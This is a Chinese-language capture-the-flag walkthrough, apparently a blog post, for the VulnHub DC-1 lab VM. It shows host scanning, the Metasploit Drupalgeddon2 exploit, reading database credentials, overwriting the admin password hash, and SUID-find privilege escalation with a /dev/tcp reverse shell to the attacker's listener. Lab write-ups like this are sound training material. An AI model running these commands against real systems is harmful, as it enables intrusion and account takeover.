DC-1靶机搭建与通关详解
下载地址:https://download.vulnhub.com/dc/DC-1.zip
虚拟机与DC-1靶场必须网络适配器都为NAT
下载解压后直接在我们的虚拟机中打开,就是以下的样式:
一、查询IP(在我们自己的kali虚拟机中进行目标ip地址探测)
配置好之后使用kali的指令来进行探测
先查看自己的ip地址:
指令:ifconfig
可以看到我们的虚拟机的ip为192.168.141.130
接下来利用工具探测DC-1靶机的IP,这里我提供三种工具都可以探测:
工具一:arp-scan
arp-scan -l
可以根据MAC地址推断出我们的目标ip地址为:192.168.141.131
工具二:namp
nmap -sP 192.168.141.0/24
这语句的意义是探测这个网段的IP地址从192.168.141.1开始,到192.168.141.254结束(192.168.141.0和192.168.141.255有特殊含义不能当做ip地址) 全部的ip地址。
可以看到我们也探测出来目标的ip地址:192.168.141.131
工具三:netdiscover
netdiscover
也可以探测出目标ip地址:192.168.141.131
二、开发端口的探测
开发端口的探测可以利用nmap与kali自带的工具whatweb
工具一:nmap
nmap -sV -p- 192.168.141.131
-sV 扫描目标主机端口上运行的软件信息
-p- 扫描全部端口0-65535
可以看到打开了80端口,80是http协议,我们用浏览器访问一下看看 。
这里我们可以利用一个插件来看看一些基础的信息:wappalyzer
工具二:whatweb
whatweb -v 192.168.141.131
内容比较多我就不全部放出来了,大家自己一定要仔细静心看看:
对信息进行一个梳理,Drupal我们知道是存在漏洞可以利用的。
三、利用伟大的msf工具进行漏洞利用
msfconsole
打开我们的msf工具
输入命令找到所存在的漏洞指令与内容
search Drupal
可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的,且时间最新的18年那个漏洞
use exploit/unix/webapp/drupal_drupalgeddon2
接着看一下该漏洞模块参数
show options
Current Setting是目前设置的内容
Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置
就上面来说RHOSTS需要set,但是没有内容,创建我们的目标:
set RHOSTS 192.168.141.131
然后开始攻击,开始攻击exploit和run是一样的,用exploit也可以 。
出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell 。
shell
交互python -c 'import pty; pty.spawn("/bin/bash")'
然后使用指令ls得到文件
第一个flag(cat指令抓取)
可以看到有flag文件
cat flag1.txt
Every good CMS needs a config file - and so do you.(每个好的CMS都需要一个配置文件——你也是)
代表我们得到了第一个flag
第二个flag(信息收集)
利用指令寻找有没有其他flag文件
find / -name flag*
可以看到我们只有这一个 包含flag关键字的文件。
去网上寻找相关的资料
Drupal会在sites/default目录下写入各种文件,而default.settings.php为Drupal的样本配置文件,安装时需将其复制并命名为‘settings.php’,所以思路是去找到这个文件。
使用我们的指令
find / -name settings.php
然后打开文件查看内容是什么
cat /var/www/sites/default/settings.php
找到我们的flag2。
仔细看其他部分的内容发现数据库信息
那么接下来我们的目标就是连接数据库,看看其中有什么内容
mysql -u dbuser -pR0ck3t
选中我们的dr数据库然后查看其中有什么表存在
use drupaldb;
show tables;
输入指令的时候不要忘记带上分号
仔细读表后我们可以发现存在users表
那么肯定我们先是选择看一下users表中的内容
show columns from users;
看一下有哪些用户名
use drupaldb;
select name from users;
看一下有那些密码
use drupaldb;
show name,pass from users;
这里明显对密码进行了一个加密,这里加密基本上都是加盐了,解密行不通但是我们可以使用ctf中添加数据的思路看看自己能否添加一个用户。
第三个flag (数据库数据更改操作)
那么我们就要找到它的加密脚本了
这里明显是使用了哈希进行加密。
exit
退出数据库
find / name -'*hash*'
明显第一个在/var/www目录下的就是加密脚本,
scripts/password-hash.sh 'admin123'>1.txt
我们利用脚本自己加密一个密码写入到1.txt中
使用cat指令打开即可看到加密过后的密码了。
接下来我们去数据库更改数据,先重新连接我们的数据库,然后打开users表
update users set pass='$S$D1zLJjS7uuGrkF/xd6VtU6kzB2xqLKN/H7qHbaRr8KcAXtZSUcJ/' where uid=1;
可以看到我们的数据更改成功,在网页登录就可以看到flag3了。
第四个flag(提权加shell反弹)
提权得到我们的flag,利用find命令,找查具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/null
find /etc/passwd -exec bash -ip >& /dev/tcp/xxxx自己虚拟机的ip/4444(监听端口) 0>&1 \;
在虚拟机输入监听指令
nc -lvp 4444
完成靶机的所有训练
之前参加一个项目去了,现在才有时间来进行一个更新分享。